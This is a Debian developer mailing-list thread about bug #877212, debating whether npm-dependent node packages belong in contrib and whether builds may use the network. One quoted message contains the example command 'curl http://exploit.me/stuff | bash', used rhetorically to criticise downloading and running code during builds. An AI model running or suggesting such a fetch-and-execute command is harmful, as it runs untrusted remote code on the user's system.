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Re: [Pkg-javascript-devel] Bug#877212: node-d3-color: B-D npm not available in testing

[Pirate Praveen]

On ചൊവ്വ 03 ഒക്ടോബര്‍ 2017 11:04 വൈകു, Gunnar Wolf wrote:
> I *do* take note, however, of:
> 
> Examples of packages which would be included in contrib are:
> 
> • free packages which require contrib, non-free packages or packages
>   which are not in our archive at all for compilation or execution,
>   and
> • wrapper packages or other sorts of free accessories for
>   non-free programs.
> 
> The first point would seem to cover your use case. However, it's not
> necessarily covering (...) compilation or execution via code just
> downloaded. It does not cover the equivalent of
> "curl http://exploit.me/stuff | bash"

Lets take the two issues separately.

1. Whether they are suitable for contrib
2. Whether network can be used during build.

> I would strongly prefer to ship pre-built binaries as part of your
> environment in debian/.
> 
> I guess the ftp-masters approved the packages you mention as they
> *looked* sane, but not because of a deeper inspection of how they were
> built. I see² you have 17 packages in contrib, out of which 14 are
> node-*. Do they all use npm? Would you appreciate if I took a look at
> them and filed bugs accordingly to ask for ftp-masters' opinion?

Like I noted in my previous mail, I already agreed to upload pre-built
binaries and my contention is only on point 1. You may ask ftp-masters
on suitability of them being in contrib even with pre-built binaries.

I have also explained in my previous mails that these are always built
on a maintainer's machine as buildds already prohibit network access
during build. So we are only talking about a change in perception.



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Re: [Pkg-javascript-devel] Bug#877212: node-d3-color: B-D npm not available in testing

[Pirate Praveen]

On ബുധന്‍ 04 ഒക്ടോബര്‍ 2017 09:27 രാവിലെ, Sean Whitton wrote:
> This is not a fair response.
> 
> If your work involved fixing bugs in software that is already in the
> archive, you could quite fairly call others out for demanding changes,
> but not being willing to put in the effort.
> 
> In this case, others are objecting to you /adding/ something new to the
> archive, where this requires (what is in the view of some) a misuse of
> contrib.

I was only trying to show my record of trying to fix the issue the right
way and not just finding loop holes as some people imply. It is only
fair for me to ask people to take things in perspective.

I also wanted to emphasis some people just want see a solution as just
keep out these packages and I want to contrast my efforts.

We are a do-o-cratic collective and people who are doing the work really
have an edge in our collective.



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[Pkg-javascript-devel] Bug#877212: Bug#877212: node-d3-color: B-D npm not available in testing

[Ian Jackson]

Pirate Praveen writes ("Re: [Pkg-javascript-devel] Bug#877212: node-d3-color: 
B-D npm not available in testing"):
> Lets take the two issues separately.
> 
> 1. Whether they are suitable for contrib

I don't think that this is what contrib is for.  Contrib exists as
part of our commitment (documented in the Social Contract) to help
users who for one reason or another end up using non-free software or
documentation.

So contrib is for things where there are licensing reasons, why not
all of the dependencies (whether declared formally in the packaging or
not) can be built from source in main.

The most usual cases are (i) something involved has a
noncommercial-use-only licence, or (ii) the thing is a
nonredistributable and what is provided is a package for downloading
it at install-time.


It is true that there are a few other cases which don't fit into the
DFSG category, but they are truly exceptional:

For example, I'm sure we have some packages there containing firmware
whose source code is available, and where in principle Free Software
compilers are available, but where the firmware's cpu architecture is
not a Debian release architecture and not supported even as a build
option by the compilers we are shipping (or perhaps the versions we
are shipping would not work because they are far too new).

That seems superficially similar, but there are some important
differences.

It is one thing to have a few firmware binaries in contrib, when
fixing each individual firmware binary would involve packaging a whole
crossbuilding toolchain.  It is very questionable whether it would be
a desirable tradeoff for Debian to maintain, as first-class packages,
a cross toolchain whose only real function is to build some obscure
firmware (and which is hard to use for other purposes).

But in the case of the Javascript ecosystem, it is clearly desirable
that the popular toolchains from the Javascript world should be
available in Debian.  Each such Javascript tool enables many dependent
packages, and they also have uses by thdmselves.

And there is a big difference in scale.  In the case of the Javascript
tools we are not talking about a handful of obscure exceptions.

And of course the exceptional firmware files I am talking about do
not run on the user's main cpu (by definition).  They run in separate
hardware devices, usually with a much stronger security boundary
between them and the user's primary environment.

Often these firmwares are even provided simply as a convenience and
are not even always necessary for the program's operation.

Finally, the firmware files I am talking about are rarely modified
and rebuilt by anyone.  Mostly they are handed down as heirlooms.
That's quite unlike the situation with these Javascript packages
and their compilers/transpilers/whatever.


Overall, it seems to me that you are using contrib as a way to get
around what is ultimately simply an engineering or quality problem.

The problem with these packages is not that they have licensing
problems; nor is it that there are other serious fundamental reasons
why distributing their source code, and rebuilding them, is hard.

It's just that the packaging is a lot of work.  But skipping on
packaging the build dependencies properly produces packages which
don't meet Debian's minimum quality standards.


So at the very least, I think these problems are RC bugs.

One approach would be to have uploaded the packages to experimental
instead of unstable.  I think it's OK to have junk of all sorts of
kinds in experimental.

That does assume, of course, that your plan is for this to be a
temporary situation, and you just want to have somewhere to
share your work while you collaborate in improving this whole area.

If you intend for this situation to persist in the medium term - for
example, if you wanted it to be released alongside buster - then of
course that wouldn't work.  But for the reasons I have explained I
don't think that's acceptable.


I'm sorry to be so negative.  I appreciate that dealing with all of
this stuff is very hard work and I applaud your determination.  But in
this case the resistance you are encountering is justified.

Regards,
Ian.

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Re: [Pkg-javascript-devel] Bug#877212: Bug#877212: node-d3-color: B-D npm not available in testing

[Pirate Praveen]

On ബുധന്‍ 04 ഒക്ടോബര്‍ 2017 02:07 വൈകു, Philip Hands wrote:
> The problem seems to be that Praveen reads that prohibition as implying
> that it is totally OK to do this when not in main.
> 
> This strikes me as equivalent to reading:
> 
>   All men are mortal, 
>   Socrates is a man,
> 
> and concluding that women are immortal.

You are conflating two issues here.

1. Whether packages can be uploaded to contrib temporarily when their
build depends are not in main.
2. Using network during build.

> The correct way to read this bit of policy is that network access during
> build is considered such a bad idea that it is not allowed under any
> circumstances in Debian proper (main).
> 
> That being the case, it is a safe bet to assume that it's a bad idea in
> packages in contrib and non-free too.
> 
> If one wants to vary from that, the reason should be made very clear
> indeed.
> 
> I don't believe that Praveen has provided any real justification for
> needing network access, beyond his opinion that policy allows it.

I did not say I will continue to use network access using build, I
already agreed I will use pre-built binaries instead even though I was
not convinced.

> I suspect that in the particular case of using rollup, it is even worse
> than Simon McVittie eloquently describes in his mail to this thread.
> 
> A quick read of rollup's changelog shows that they have had about 30
> releases since July, that they've recently had a major refactoring, and
> that every release since that refactoring has involved fixing that
> refactoring.
> 
> They had a release within a day of Praveen's changelog entry for the
> package, so it's not completely obvious which version of rollup would
> have been used for the package build, but chances are that he used one
> version, and that within 24 hours nobody, not even Praveen, would be
> certain of being able to reproduce that package because it would then be
> using a new version of rollup to do all the work.
> 
> They've had another release since -- more fixups for the refactoring.
> 
> I'm astonished that Praveen thinks it is sensible to build on these
> shifting sands.  My astonishment is then only magnified at every step:
> 
>   o  When it is pointed out, still not realising the folly of this.

Because the shown folly is only in theory and it is never in practice.
As these packages are always uploaded as binary included and never built
on the buildd (as buildds already prohibit network access during build).
If I include pre-built files, nothing changes in practice and only in
perception, hence I'm not convinced.

>   o  Running to policy, looking for excuses.

Indeed, that is the authoritative source when there is a difference of
opinion.

>   o  Blaming ftp masters for not noticing these flaws.

Indeed they are the people who are supposed to ensure this requirement
of policy.

>   o  Insisting that the TC needs to be involved to fix the mess

Isn't that how differences to be settled when developers can't reach a
conclusion?

> Should we really try to make policy forbid all the foolish ways in which
> one might try to assemble a package, in order to ensure that there is
> nowhere for people to hide in policy?  I think not.
> 
> It would seem much more straightforward to remove the upload rights from
> people who insist on repeating this sort of behaviour incessantly.
> 
> Praveen, please don't do it again.

I think you are showing wrong attitude and acting as if you have more
authority over me/others. You are wrongly pushing an opinion that was
not mine. What I asked was the suitability of being in contrib and not
for using network during build.



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[Pkg-javascript-devel] Bug#877212: Bug#877212: node-d3-color: B-D npm not available in testing

[Philip Hands]

Sean Whitton  writes:

> Hello Jérémy,
>
> On Tue, Oct 03 2017, Jérémy Lal wrote:
>
>> It might be a good idea to make policy more explicit about downloads
>> during build.
>
> I'm not sure how it could be more explicit:
>
> For packages in the main archive, no required targets may attempt
> network access.

The problem seems to be that Praveen reads that prohibition as implying
that it is totally OK to do this when not in main.

This strikes me as equivalent to reading:

  All men are mortal, 
  Socrates is a man,

and concluding that women are immortal.

The correct way to read this bit of policy is that network access during
build is considered such a bad idea that it is not allowed under any
circumstances in Debian proper (main).

That being the case, it is a safe bet to assume that it's a bad idea in
packages in contrib and non-free too.

If one wants to vary from that, the reason should be made very clear
indeed.

I don't believe that Praveen has provided any real justification for
needing network access, beyond his opinion that policy allows it.

I suspect that in the particular case of using rollup, it is even worse
than Simon McVittie eloquently describes in his mail to this thread.

A quick read of rollup's changelog shows that they have had about 30
releases since July, that they've recently had a major refactoring, and
that every release since that refactoring has involved fixing that
refactoring.

They had a release within a day of Praveen's changelog entry for the
package, so it's not completely obvious which version of rollup would
have been used for the package build, but chances are that he used one
version, and that within 24 hours nobody, not even Praveen, would be
certain of being able to reproduce that package because it would then be
using a new version of rollup to do all the work.

They've had another release since -- more fixups for the refactoring.

I'm astonished that Praveen thinks it is sensible to build on these
shifting sands.  My astonishment is then only magnified at every step:

  o  When it is pointed out, still not realising the folly of this.
  o  Running to policy, looking for excuses.
  o  Blaming ftp masters for not noticing these flaws.
  o  Insisting that the TC needs to be involved to fix the mess

Should we really try to make policy forbid all the foolish ways in which
one might try to assemble a package, in order to ensure that there is
nowhere for people to hide in policy?  I think not.

It would seem much more straightforward to remove the upload rights from
people who insist on repeating this sort of behaviour incessantly.

Praveen, please don't do it again.

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